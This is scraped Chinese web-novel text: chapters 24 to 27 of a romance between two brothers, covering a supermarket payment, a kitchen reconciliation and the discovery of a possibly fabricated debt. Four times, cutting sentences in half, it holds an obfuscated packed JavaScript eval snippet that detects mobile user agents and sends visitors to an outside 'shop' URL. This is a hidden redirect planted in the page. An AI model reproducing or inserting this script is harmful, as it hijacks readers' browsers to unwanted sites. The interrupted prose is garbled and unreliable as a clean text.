【dr】:嗯,之前有段时间讨厌家里那么多人,就干脆自己学了做饭,然后把家里的厨师全赶走了 【dj】:然后呢? 【dr】:然后又全都请回来了 黛烬被逗笑。 【dj】:做饭很累吧? 【dr】:还好,其实我觉得还挺有意思的 【dj】:那为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531630|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么把厨师请回来? 【dr】:从家里离职的厨师找不到其他更好的工作了,家里人少,活少钱多 【dr】:如果我没那么任性的话,他们就可以多一份好工作 黛烬看着消息收起笑容,久久都没再回。 他的燃燃不仅拥有这世上最顶级的出身,最傲人的能力,难得的是这样的身份加持下,还有最难得一见的赤子心肠。 和他这样斤斤计较的人相比,天壤之别。 黛燃大概是没等到他的消息,十分钟后又主动发了条新的。 【dr】:哥在忙吗? 前面的消息没回,这条黛烬就更不敢回了。 他收起手机,明明就在家楼下,黛烬却没回家,而是在路边招手拦了一辆出租车,直奔离家最近的那家大型商超。 黛烬进去连购物车都没推,他没那么多想买的东西,顺着指示牌径直往日用品的区域走。 刚路过写着日用品的牌子,黛烬就首先看到了自己想要的东西。 琳琅满目的抽纸摆了一整面墙。 他把手机里早上拍的照片调出来,对着照片上的抽纸盒仔仔细细地找。 黛燃买的这款抽纸用的不是回收纸浆二次加工的,只用一次的东西造价最贵,一般人消费不起,却摆在最显眼的位置。 黛烬只拿了这包纸,然后就一刻没停地前往柜台结账。 收银熟练地接过抽纸扫了码。 “一千,这款抽纸新客进店会打九折,所以是九百,先生刷卡、现金还是扫码?” 黛烬二话不说,直接把卡拿出来递给收银。 他自暴自弃地想把这张卡里的钱全都刷光,不就是钱吗?不会挣他还不会花? 但现实没给他这个机会。 收银接过他的卡在机器上横着刷了一道,接着就抱歉地还给他,话说得委婉。 “抱歉先生,您这张卡出了点小问题,没办法支付。” 他的想法还是太美好了。 黛烬此刻才想起来,他昨晚支付电工的维修费时已经把余额透支,他的卡现在根本不够买下这包甚至是打了折的纸。 黛烬身后还排着长长的结账队伍,他不敢转身看,像是恐高的人不敢在高处低头一样,一时间不知道是先焦虑,先尴尬,还是先离开好。 他闭了闭眼,深吸一口气。 其实都不如先自暴自弃。 黛烬不停地在心里告诉自己“他已经是个大人了”,他要处理问题,而不是任性地被情绪左右,没人可以给他收拾烂摊子。 他脑袋发懵地拿回卡,犹豫是把东西放回去,还是临时找他妈借点钱应急。 犹豫不决。 好吧其实他什么都不想做,他现在只想没用地后悔。 后悔今天为什么要不自量力,不考虑后果地走进这家高消费商超,再一意孤行地买这么贵,他完全负担不起的东西。 没人教会他要怎么处理这些大麻烦,他总是从失败中汲取经验,久而久之,已经对失败产生了一种下意识的路径依赖。 遇到麻烦先失败,失败就能有经验。 不然呢?他又不知道要怎么成功。 烦死了。 黛烬很想直接撒手不管,却下意识维持着大人的体面,最后还是拿手机准备找他妈借钱。 直到此刻他才可悲地发现,他其实根本没什么选择的机会,只是在一味地痛苦选择的执行而已。 也是,没得选的人,就只能痛苦一下执行了。 黛烬脑子里乱作一团,他以为自己早就已经把手机拿出来了,低头一看,却没想到自己自始至终都一动不动。 他控制不了自己的身体了,还是被情绪占了上风,压的他喘息不得,动作无能。 要是有人能帮帮他就好了…… 黛烬少见地产生了这种求助别人的想法,还没等他对自己幼稚的想法发出嘲讽,他的处境就在刹那间瞬息万变。 视线里忽然伸出来一只手,举着收款码递到收银面前,从天而降般地解决了黛烬当下最大的麻烦。 一道熟悉的男声从耳边传来。 “我付吧。” 25. 【燃】冰箱 “燃燃?” “哥。” 黛燃没拉黛烬,而是上前几步挡在黛烬面前,用身体隔绝开那些有意无意看向他哥的视线。 收银员不确定两人的关系,没敢直接扫码支付,黛燃刷新了下一分钟前过期的付款码,再次递到收银员面前。 “不是说我哥的卡有点问题?麻烦扫我的吧。” 收银员愣了下,没多说,直接用标枪扫码收款。 “嘀——” 黛燃付了款,将附赠的带着特制编码的“已付款”贴纸撕下来,贴在已经付过钱的抽纸上,又将抽纸放进装着自己没付款商品的购物车里。 “走吧哥。” 黛燃伸手拉住黛烬往队伍外走,两人和熙熙攘攘的人群走反方向,逆着人群重新走到队伍末尾,第二次排队结账。 刚才是结黛烬的账,而现在,他们一起重新排黛燃的队。 黛燃没问刚才的事情,黛烬更不会主动提。 黛烬不主动提,黛燃就更不会问让他哥闭口不谈的事情。 两人都默契地保持缄默。 成年人的世界没有那么多狗血和要死不活,人一旦过了十八岁,就像是自动触发了什么必须闭嘴的机关似的。 哪怕是从前再活泼的人,也能在某一瞬间变得一言不发。 黛燃初来乍到,还没适应做个哑巴的生活。 他扭头看了眼他哥。 但是他哥无声地适应了七年,他就忽然觉得做个哑巴也没什么不好。 黛烬从被黛燃拉走开始就默不作声,在队尾站定后也依旧装聋作哑。 他哥的身体像是被关进了冰箱,为了让他哥慢慢适应周遭升起的温度,黛燃耐心地拔掉电源,等着他哥一步步解冻,自己则不吵不闹不闻不问,安静地陪着。 时机成熟得很快,等他哥的眼睛率先复活,又在用余光偷偷看他时,黛燃便伸手一把拉开被他哥推开条缝的冰箱门。 四目相对。 黛燃不容拒绝地把他哥的手拉到自己面前,悄悄和他哥十指相扣。 他哥的手原来是热的。 他的手才是凉的。 有人相继结账离开,前面的人流变少了。 黛燃一手推着购物车,一手拉着他哥,把无时无刻插着电的生活如履薄冰地往前赶,每一步都走得艰难。 但他不后悔。 如果成年人的世界是一台冰箱。 黛燃握紧了黛烬的手。 那他不要让他哥一个人当大人。 * 两人在同一个收银台前结了第二次账,黛燃拎着东西往商超外走。 脚下的路他很熟悉。 第一次去他哥家时,他也是这样拎着东西走的这条路。 黛燃低头,发现脚上的鞋子居然也很巧合,刚好是初见他哥时穿的那双。 白色的鞋面很干净,他哥把他照顾得面面俱到,这双鞋除了价签被磨掉以外,其他方面和新的几乎别无二致。 黛燃轻轻踢了踢脚,或许是心理作用,磨掉价签,他甚至觉得脚上的压力都轻了不少。 不过价签虽然被磨掉,但串着价签的那根绳子却被他哥洗得很干净。 他没敢开口和他哥说,其实那根绳子没什么用,价签被磨掉,绳子没有需要串的东西,直接扔掉就行。 他哥不知道,但他哥还是把他的绳子洗干净,然后重新绑回去了。 他哥绑的是个蝴蝶结。 可能因为他哥只会绑蝴蝶结。 黛燃抬起头,再次站在这个位置,再次准备往他哥的家里走,触景生情,他下意识在脑内比对现在和那时的异同。 他那时也是从商超出来,穿着一样的鞋子,不同的是事情发生的时间不一样,鞋子的价签也被磨掉了。 两处相同,两处不同。 黛燃站在原地发呆,手却忽然一轻,回头一看,他的重担就这么落在了他哥手里,黛烬接过他手里的东西,自己拎着。 这是今天的第三处不同。 他哥在他身边。 观察对比细节,再进一步发现商机,都是商人后天养成的本能。 抛开这个不谈,黛燃自己本身也喜欢比对生活中的异同,这些无处不在的小确信,足以让低落的心情重新雀跃起来。 上次他哥把他甩掉了。 但是这次…… “哥是专门来接我的吗?” 黛烬有点迟疑。 “嗯?” “因为哥刚才说在公司加班,但是现在却出现在这里,是因为看到我在手机里说出来买东西,所以想瞒着我,好趁机给我一个惊喜,是不是?” 黛烬又点迟疑。 “嗯。” 他就知道! 黛燃笑容加深。 “谢谢哥,我很喜欢。” 他哥把右手提着的东西换到左手,腾出右手专门牵他。 回家。 和他哥在一起的生活很平淡,但他们现在被一根干净的绳子如愿以偿地拴在一起,所以黛燃觉得前所未有的安宁。 他哥帮他提着东西,他就空出手开门,推开家门先让他哥进去。 看着他哥拎着的购物环保袋,黛燃想起了里面有需要放冰箱冷藏的东西,他连忙关门换鞋,准备先把东西拿到厨房。 厨房里是有一台冰箱的,但是他从没见他哥打开过,他也从没打开过,所以不知道里面是什么样子。 他住校很少回家,之前和他哥的关系也没那么好,随便开别人家冰箱不礼貌,他就没找到机会打开冰箱一探究竟。 不过家里既然有,大概就能用吧? 黛燃换好鞋,拎起东西要往冰箱的方向走,顺口问黛烬。 “哥,我买的东西里有需要放冰箱的,我能开冰箱吗?” 黛燃以为自己这次有正当理由,黛烬应该会让他开,甚至帮他开。 却没想到黛烬不仅没答应,甚至出乎意料地和他纠缠起来。 “什么冰箱?人家全名‘电冰箱’。” 黛燃不在这些小事上和他哥争,直接改口。 “嗯,电冰箱可以开吗?” 黛烬像是就等着接这句话似的。 “‘电’字辈开头的东西,是我们平民百姓用得起的?” 他哥说完大概是后悔了,又下意识转移话题。 “哥考考你,知道一度电多少钱吗?” 黛燃被这样问,第一时间想到的居然是高中物理题,大概是高三学疯了,他差点脱口而出“题目条件呢?” 他无奈地捂住脸。 “不知道。” 两人明明没真正相处多长时间,却莫名有了默契。 他没说出口的话,他哥会替他说。 “你刚才是不是想问我物理题?” 他哥说完自己先笑了。 他哥笑,他就也跟着笑。 一个说“物价”,一个谈“物理”。 鸡同鸭讲。 黛燃笑着拎起刚买的东西走到洗碗池旁,撸了袖子要洗。 他找来个盆放进洗碗池里接水,水龙头打开,水流得像小溪一样缓,静水流深,如此“美景”,看了就让人窝火。 但黛燃适应得很快,双手举着几千块一斤的蔬菜,水流一点儿他洗一点儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531631|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不紧不慢,不慌不忙。 黛烬两手空空的在旁边看着,手里空,心更空得可以敲出回响。 黛燃在出租屋里洗菜。 这幅场景总让人觉得牛头不对马嘴。 地点,人物,事件,没一个能对得上号的。 像是缺心眼的导演带着大牌演员跑错剧场,给两头熊拿了伐木工的锯子,让罪犯一只耳抢了黑猫警长的配枪。 黛燃跑错剧场,却职业精神拉满,尽职尽责,自得其乐,还反过来替他这个没本事的导演打圆场。 “哥,下次我不买这些要放冰箱的东西了,是我考虑不周。” 黛燃一记不卑不亢的“巴掌”,迎面扇到黛烬无地自容的脸面上。 黛烬躲开了,下意识的。 脸上没挨巴掌,心里却火辣辣得烫。 他需要和黛燃道歉。 不止是抽纸,更不止是刚才黛燃问起冰箱时,他无故对黛燃发的难,他需要道歉的事情远远不止这些。 明明该道歉的是他。 黛烬深吸一口气,呼气时觉得连身体都在跟着情绪颤动。 可连句道歉都说不出口的,也是他。 没办法。 他说不出话。 黛烬今天是个哑巴。 要不然还是打死他算了,有些话他就算是死到临头,当遗言交代都说不出来。 就像有些面子,哪怕是死也拉不下。 傲慢、失礼、自卑…… 不美好的品质都像临期的哑药一样,足以让灵魂穷困潦倒的人张不开口。 谦卑、得体、自信…… 美好的品质就像是新鲜蔬菜,保质期短得吓人,存储条件也极为苛刻。 好东西,得放冰箱。 不管是菜还是人,到头来都是一句话。 没钱,怎么养? 黛烬一言不发,他默默走到正在洗菜的黛燃身后,双手环抱住弟弟的腰。 黛燃手上在忙,察觉到他哥的靠近,他故意把身体站得直直的,够他哥稳稳地靠着。 他知道他哥想说什么,不想说什么。 他明白前者的意思,也理解后者的原因。 他哥不会道歉没关系,没有人是生来就会道歉的,没关系。 他会就行了。 他来亲自教他哥。 哪怕是教不会也没关系,他和他哥之间,不需要道歉。 语言是最虚假的东西,还要浪费时间验证真假,他不需要这种虚伪的东西占用他的生活,他的时间宝贵,最讨厌浪费。 还好他哥刚好是个哑巴。 他哥不会跟他承诺爱,不会跟他承认错,但他从未有一刻怀疑过他哥给他的真心,他不需要让渡给废话任何一秒。 所以,哑巴正好。 黛燃将洗干净的蔬菜放在台面上,把水龙头的把手一下关到底,再熟练地往回掰了掰,确保一滴水都没有漏出来。 他擦干手,正面拥住黛烬。 黛烬这次没有躲,他第一次在黛燃面前低了头,尝试着将脸埋在黛燃颈间。 一双看世界的眼睛捂起来,其实还没巴掌大。 黛燃后知后觉自己还是没关紧水龙头,他哥在他怀里喜极而泣,泪水不要钱似的哗啦哗啦往外流。 身后的水龙头没有滴水,他哥的眼泪落在他肩头时也没有声音。 黛燃慢慢推开他哥。 在他哥有点惊慌的眼神里,他不躲不闪,吻上了他哥的眼泪。 洗干净的蔬菜被摆在厨房的台面上。 但是一颗烂了二十五年的菜,终于找到了一台不用插电就能用的冰箱。 26. 【烬】迟到 【dj】:你能帮我个忙吗? 黛烬一字一字把消息打出来,想想又全部删掉,输入的光标在眼前一闪一闪,让他本来就藏着事的心里变得愈加烦躁。 思来想去,他还是觉得托人办事只发消息不太礼貌,况且这个事情也不是一两句话就说得清的,还是约人见面说更好。 黛烬想好便重新编辑新消息,发之前检查几遍,确认没问题后才点击发送。 【dj】:我们能出来见个面吗? 尤京的消息回得很快。 【尤】:今天太阳打西边出来了?还是你心情好了,还知道主动约我出来 黛烬不免愧疚。 【dj】:抱歉,最近太忙了 【尤】:可以理解,多养个弟弟多张嘴嘛,约我可以啊,你什么时候有空? 黛烬算了算时间。 【dj】:晚上八点以后吧,陪我弟弟吃完饭我就去 【尤】:成,要我接你不? 黛烬想想他家附近的交通,晚八点以后如果他自己打车,不仅可能会迟到,而且晚上也不一定能早回来。 尽管知道可能会给人添麻烦,但他还是想争取一下最好的可能和机会。 【dj】:你方便来接我吗? 发完消息,黛烬忐忑地等待。 好在尤京没让他着急,几乎是秒回。 【尤】:方便啊,我绕路去 【dj】:? 【dj】:绕路去那能叫方便吗? 果然会给人添麻烦。 【dj】:还是算了,我打个出租车去吧 【尤】:你那个区,八点以后就很难打到车了,我给你叫辆车去可以吗? 黛烬心中新添了抹暖意。 尤京虽然嘴上不着调,但是实打实帮了他很多,而且真到需要帮忙的时候,他发现自己找不到第二个帮得上忙的人了。 他又一字一字打出感谢的话。 【dj】:行,谢谢啊 【尤】:客气什么 黛烬和尤京约好时间,抬眼一看,现在已经快八点了。 从前他是一人吃饱全家不饿,但现在不一样,他的家里不再只有他一个人。 黛烬走出卧室,看了眼在客厅学习的黛燃,自顾自看了好一会儿,才终于想起自己出来是要去做饭的。 他一拍脑门。 还真是美色误人。 黛烬走进厨房,一如往常地拿出两袋功能食品加热,然后陪着黛燃一起吃。 黛燃吃饭的时候也想拉他的手,指尖勾着他的掌心试探好几次,失败后用有点可怜的眼神瞥他。 黛烬失笑,由着他去了。 十指相扣。 黛烬只留一只手吃饭,边吃边想。 如果时间可以永远停在这一刻就好了,他从前想要的被关注,被心疼,被当回事儿,黛燃现在都一一给他补上了。 迟到不好,但迟到的爱也足够让黛烬感激不已。 思及此,黛烬愈加坚定。 他得尽快把身上的债处理好,给自己一个不在黛燃身边迟到的机会。 饭后黛烬熟练地洗碗收拾打扫卫生,整理好垃圾,处理好生活上琐碎的小事,这才重新披上外套准备出门。 黛燃趴在茶几上写作业,见黛烬像是要出门的样子,他连忙将人叫住。 “哥,这么晚了,你要出门吗?” 黛烬想着自己要办的事情,莫名心虚,移开视线不敢看黛燃的眼睛。 “嗯,我有点事情要出去,你把门锁好,困了的话先睡吧。” “那哥晚上还回来吗?” “肯定回。” 黛燃没再多说什么,点头答应。 “好。” 黛烬背对黛燃站着,欲言又止,他几度想转身再和黛燃说几句话,最后却都忍住了,拿好钥匙推门离开。 算了,等他先想办法把事情搞清楚,真解决不了的话再和燃燃说吧。 应该不会迟到。 来得及。 黛烬松了口气,走出家后轻轻关上门,快步下楼梯。 黛烬出门,黛燃已经提前在卧室的窗户后站定,他躲着身体,透过玻璃窗将黛烬的一举一动收进眼底。 一辆低调的黑车停在路边,黛烬拉开门上去,黛燃盯着车微微蹙起眉。 这车绝对不是黛烬的工资能承受得起的消费,因为那很明显不是什么出租车。 别人可能不知道,但黛燃坐这种专车从小坐到大,一眼就能认出来。 这么晚了,他哥坐别人的车出门,还让他早点睡。 黛燃暗暗磨牙。 他怎么睡? 黛燃重新拉上窗帘,快步往家门外跑,拿上钥匙边锁门边给专车打电话。 黛烬打车难,不影响他打车容易。 他一口气冲到家楼下,独自站在路边等,载着黛烬的车将要消失在路口转角时,来接黛燃的车便准时到了。 他想办的事情,就没有一个迟到的。 黛燃立马拉门上车,和前排的司机沟通时目标明确。 “跟上前面转角那辆黑车。” * 黛烬没注意到身后的小尾巴,坐上车便直奔和尤京常去的那家私人会所。 尤京算着时间,提前在会所门口接人,见黛烬准时到了,他便走近和送黛烬来的司机打了声招呼。 “麻烦了,临时让你跑一趟,这不是一时半会儿有急事,又找不到合适的车,就跟漾姐临时借了个人。” 开车的司机是个四十岁左右的大叔,闻言受宠若惊,连连摆手,又忙拉开驾驶座车门下车,和尤京面对面说话。 “不麻烦不麻烦,我临耀能为领导做事,是我的荣幸。” 黛烬听不懂一句“领导”涵盖了多大的能力和身份,只知道关车门的时候要把动作放轻。 尤京又交代了临耀两句,看黛烬下了车,便和他并肩一起往会所里走。 黛燃连人带车停在路边,目睹一切,见黛烬人已经进了会所,这才开门下车。 他一门心思要跟上黛烬的脚步,没注意看路,正好和准备上车的临耀擦身而过。 临耀下意识瞥了一眼黛燃,却被这张再熟悉不过的脸惊讶得瞬间瞪圆眼睛! 忙着去“抓奸”的黛燃根本没注意到一个路过司机异样的眼神,只知道马不停蹄地往会所里走,生怕迟到没赶上正事。 临耀好不容易缓过神来,连忙掏手机给黛燃的背影拍了张照片,又找到工作群,激动地打字。 【临耀】:我去兄弟们猜我今天在七八区遇到了谁? 【临胜】:干啥?还能遇到明星不成,七八区那么偏的地,你踩狗屎运了? 【临耀】:不是,我这可比遇到明星值钱多了! 【临胜】:你说的我都好奇了,到底遇到谁啊,别藏着掖着吊大家胃口了你 临耀却顾左右而言他。 【临耀】:漾姐最近不是说在找人吗? 【临胜】:你说这事儿啊,是,你不在二三区不知道,漾姐找我们少爷呢,不知道少爷犯了什么事儿,看漾姐那架势,就差直接上星所给人发通缉令了 临耀见铺垫到位便不再隐瞒,把看到的全都说出来。 【临耀】:我遇到的就是燃少爷啊! 【临胜】:?!我靠你这是真踩到狗屎运了! 临耀炫耀完快步往车边走,他得抓紧时间回去给上司通风报信,要是这事情办得好,说不定还可以把他往二三区调调。 他越想越激动,喜滋滋地把拍了照片的手机塞回口袋里。 * 黛烬把手机从口袋拿出来。 他按亮屏幕看了眼时间,刚过九点,尤京拿着两杯刚调好的酒递给他,黛烬接过来随手放在桌上没喝。 他不绕弯子,看尤京来了直接开门见山。 “我怀疑我爸留给我的债有问题。” 尤京习惯了懒洋洋的,边喝酒边聊天,好不自在。 “怎么说?” 黛烬却没他这么悠闲,自从上次纪良给他打来那通催债电话,他这几天吃饭睡觉都免不了胡思乱想。 “最开始是临家的律师找上我,和我说有一笔两百万的债要还,我没经验,再加上他给我看的那个合同乍一看还挺能唬人的,我就没怀疑过这笔债可能有问题。” 尤京点点头,又抿了口酒。 “所以你现在怀疑他在骗你吗?” “嗯,虽然可能是我天方夜谭,以己度人,疑心病犯了,但是我觉得就算这笔债是真的,债本身也绝对有其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531632|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题。” 黛烬咽了口口水,把目前知道的所有信息依次按照时间顺序草草罗列出来。 “因为自从律师找上我,到现在整整过去了一个整月加两个月的一头一尾,所有时间加起来虽然不到两个月,但是也绝对不短了。” 黛烬越说越急。 “他说我欠银行钱,可问题是我至今从没接到过银行方面的任何催款短信和电话,我确实没这方面的经验,但这想想就觉得不合理吧?” 尤京不动声色地坐直身体。 “听起来确实有点怪。” 他目光扫向黛烬。 “所以你是想让我帮你查查吗?” 黛烬垂着的头瞬间抬起。 “可以吗?” 尤京点头。 “事情倒是不难办,你手上有和欠款相关的证据吗?” 黛烬摇头,深感无力。 “没有,律师什么都没给我,而且当时我本来也没想还钱……” 尤京明了。 “那就从征信查起吧。” 黛烬首先担心的就是会不会给人添麻烦。 “怎么查征信?会给你添麻烦吗?” 尤京话说得轻巧。 “你欠这么多钱,你的征信应该不高,我估计买车都过不了审批,所以最合法又便捷的办法,就是我直接给你买辆车,买得了就说明没问题,倒也不麻烦。” “?” 又是黛烬没见过的解决办法。 “这么简单粗暴吗?” 尤京用行动证明就是这么简单。 “这多方便?花点钱就能处理的事情,比找关系安全多了,省心。” 他忽然想到什么,认真发问。 “话说你一点钱都没还吗?” 黛烬沉默片刻,最终还是承认。 “嗯。” 每个人都有自己的选择,尤京不评价,随便提了一嘴。 “那你弟弟呢?他应该挺有钱的吧,他还债的时候没帮你还一点吗?” 提到黛燃,黛烬又缓缓低下头。 “他不还债,姓临的只给他留了遗产,没留欠债给他。” 尤京满脸疑惑。 “你什么意思?” 他问完,又试探地解释起来。 “你的意思是说,你弟弟只有钱,而你只有债吗?” “嗯。” 尤京笑出声。 “黛烬,你没和我开玩笑吧?” 黛烬烦躁地抓了把头发,身体力行地证明自己没心情开玩笑。 “我之前不和你说过一次吗?我没那么闲,还专门编东西骗你。” 尤京彻底呆住,他意识到这不是小问题,神情立马严肃起来,酒都不喝了,迟来地丢给黛烬一个炸弹般的消息。 “人去世以后会整合负债和遗产,是不会存在分开赠与的情况的。” 黛烬手里还捏着杯子,大脑却轰得一下炸开了。 这么重要的信息居然足足迟到了一个多月,眼下才慢慢悠悠晃到他面前。 黛烬一时间都被荒诞的现实逼得没脾气了,脑内乱作一团。 可欠债是律师亲自告诉他的啊,那人还自称是临家的私人律师…… 等等。 黛烬猛地屏住呼吸! 临朗已经死了,一个死人哪来那么大权力使唤得起临家的人。 临漾也犯不着为了区区两百万就和他过不去,给自己惹麻烦,生意人的面子最值钱,这样做完全是得不偿失。 那么可能就只有一个。 想到这个可能,黛烬差点不会呼吸了,全身都因为缺氧变得麻木起来,但眼前的答案呼之欲出,他不得不直面。 和迟到的爱一起来的,是迟到的真相。 是黛燃在骗他。 如坠冰窟。 黛烬手一抖,酒杯没拿稳摔在地上,玻璃杯瞬间四分五裂,巨大的声响把两人都吓一跳,他却已经没有心思去管了。 忽然,手机铃声在安静的室内炸响,犹如平地一声雷,瞬间把黛烬炸醒! 他僵硬地把手机拿起来。 那是一通电话,联系人名字上赫然写着一个亲昵的备注,平时习惯又顺口的称呼,却在此刻将黛烬彻底钉死在原地! 【燃燃】 27. 【燃】注视 黛燃没来过这种会所,一进门便先打量环境。 卡座上三三两两坐着人,有人来约会,有人单纯来买醉,见有人进门,几十双眼睛便齐刷刷地给黛燃行了个注目礼。 从小在注视下长大的孩子最不怕被看,黛燃虽然对环境陌生,却丝毫不胆怯,任由他人或好奇或欣赏的眼神扫过自己,他只专心致志地找人。 好在卡座上的人虽然不少,但是大厅内的布置很宽敞,足够他一览无余。 没有黛烬。 黛燃当机立断,打算继续往里走,进里面的私人包间看看。 他进会所的时候没人拦他,但私人包间不一样,他刚一靠近,在包间门口等候的服务生便伸手将他拦下。 “这位先生请止步,麻烦提供一下您的房间号,以及房间登记人的姓名,我们核实后才能放您进去。” 黛燃哪有这些东西? 他又不是来消费的,他来抓奸。 黛燃的视线从紧闭的一扇扇包间门依次扫过,发现自己毫无办法,他现在不能像从前一样大张旗鼓地行事。 一旦被母亲知道他的位置,他就连抓奸的机会都没有了。 没办法,那他就给他哥打电话。 黛燃不进门,但站在门口不走,拿了手机准备打电话。 反正他哥人在里面,那他就在外面守着,除非他哥插了翅膀飞出去,要不然就别想从他的生活里离开。 黛燃熟练地拨通了通讯录里置顶的号码,手机页面丝滑地切换到等待接听的通话页面,电话还能打得通。 他耐心地等他哥接电话。 以往打给他哥都被秒接的电话,今天却直到响铃五十秒都不见人接起,黛燃心里莫名有了种不好的预感,越等越慌。 只听最后十秒在耳边逐步告罄,黛燃的耐心也光速被消磨殆尽。 “嗡——” 一分钟过去,电话断了。 黛燃愣愣地看着被挂断的电话,沉默几分钟,又重新点击回拨。 可这次还没等他把手机放到耳边,手机屏幕上已经显示电话被挂断。 他哥故意挂的。 黛燃不信邪,电话挂一次他打一次。 来来回回折腾了十几遍,终于有一通猝不及防地被接通了。 黛燃迅速把手机举到耳边,终于听到他哥的声音传过来。 却不是他想听的。 “艹,点错了。” 察觉到他哥又要挂电话,黛燃忙出声叫住黛烬。 “哥!” 他哥不接他的话,但也没再挂电话。 黛燃知道什么样的话最能留住黛烬。 他眼睛一眨,泪水划过脸颊的瞬间声音便带上了哭腔。 “哥哥,我是燃燃。” 黛燃抽了口气,声音都跟着颤。 “我找不到你了。” 下一秒,他果然在电话里听见了他哥的呼吸声,像是要开口说话。 黛燃还没听到他想听的,黛烬那端就忽然传来一阵布料摩擦声,混合着其他杂音,听起来像是有人在和他哥抢手机。 紧接着一道有点耳熟的男声便含着怒气传至耳边。 “小屁孩儿别缠着你哥了行吗?我靠小小年纪,有点脑子就知道算计你哥,哪儿来的滚回哪儿去!” 黛燃对黛烬的人际关系了如指掌,马上认出这人的身份。 尤家那个名声在外的纨绔。 尤家从政,不仅掌权的继承人如今在联盟任职,身居高位,就连尤家自己的直系旁系也分布在大大小小的政府机关里。 权力交叉,错综复杂。 尤京虽是圈子里出了名的不务正业,但背靠尤家,却也是个不太好惹的硬茬。 黛燃无所谓地抹掉滑到下巴的眼泪。 对别人来说可能是硬茬,但黛燃向来不把硬茬放在眼里,他得知道这男人和他哥的关系。 他一秒收住哭腔,语调冰冷。 “你是谁?” 尤京像是个点着的炮仗,见人就炸。 “你管我是谁?!” 黛燃有点烦别人拿他哥的电话,被他哥挂电话本来就烦,说话也不再客气。 “你和黛烬什么关系?大晚上还要把他约出来,你有什么资格打扰别人的生活?” 尤京不仅没生气,反而冷嗤一声。 “我约他出来,这不都得多亏了你吗?临少爷好歹毒的心思,连枕边人都算计。” 黛燃皱眉。 这人认识他倒是不奇怪,他的生日一向办得隆重,尤家这个级别的家族能来参加很正常,但是尤京说这话是什么意思? 黛燃呼吸一滞。 难不成,他哥发现了…… 计划一下被打乱,不知道他哥到底知道了多少,黛燃盲人摸象无从抓起,语气也和心一样乱了。 “这是我和我哥的事情,我们自己会解决,你算什么东西,也配插手?” 尤京显然被这话气得不轻,质问和骂人的话接二连三。 “你解决个p你解决!你所谓的解决,就是用一笔你哥一辈子都还不起的债压着他,让他时时刻刻喘不过气,寝食难安,最后就只能靠着你了是吗?” “年纪不大,心思倒是歹毒!” “你做这些事情对得起你哥吗?对得起他对你的好吗?漾姐怎么会养出你这种以怨报德的白眼狼!” 黛燃越听越心慌,但他没被这话激怒,情绪什么的都可以暂时放一放,他始终记得自己是来做什么的。 先找到他哥再说。 越是麻烦的时候黛燃越冷静,他细细分辨着电话里的杂音。 除去微弱的电流滋啦声,以及尤京怒不可遏的骂声以外,还有很小声的脚步踩踏音被一起收进麦克风里。 这说明尤京是在边说话边走路。 黛燃蹲下身,盯着几间亮着灯的包间门缝看。 右手边几间透出的光线都很稳定,从门缝里照出的灯光没有光影变化,说明里面的人大概率没什么行动,是坐着的。 排除。 他的视线又转向左手边的一排,这排只有两间房间亮灯。 会所包间拢共就两排,排除右手边的一排,他哥就只可能在左边这排的两间房间里。 很巧,这两间门缝都有光影变化。 黛燃站起身,见两名服务生时刻盯着他,严防死守不允许他进包间,他暂时无法确定他哥具体在哪一间房间里。 要想冲过去验证是哪一间,他就只有一次机会,失败了就会被拉走,他还不想在没找到他哥之前就被琐事缠身。 更何况他要是被缠住,他哥就也会有时间有机会逃走。 祸不单行。 黛燃收回看服务生的视线,盯着两间透光的门缝看。 他想赌一把。 电话那端的尤京一口气骂够了便不再说话,黛燃怕尤京挂电话,故意用言语继续激怒他。 “你认识我妈,就也应该认识我,那你就该知道以你的身份,还没资格指点我。” 顾忌着他哥可能就在旁边听电话,黛燃说话收敛了不少。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531633|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你帮我哥说那么多好话,难不成也看上他了?” 尤京果然被他不着调的态度火上浇油,怒火中烧。 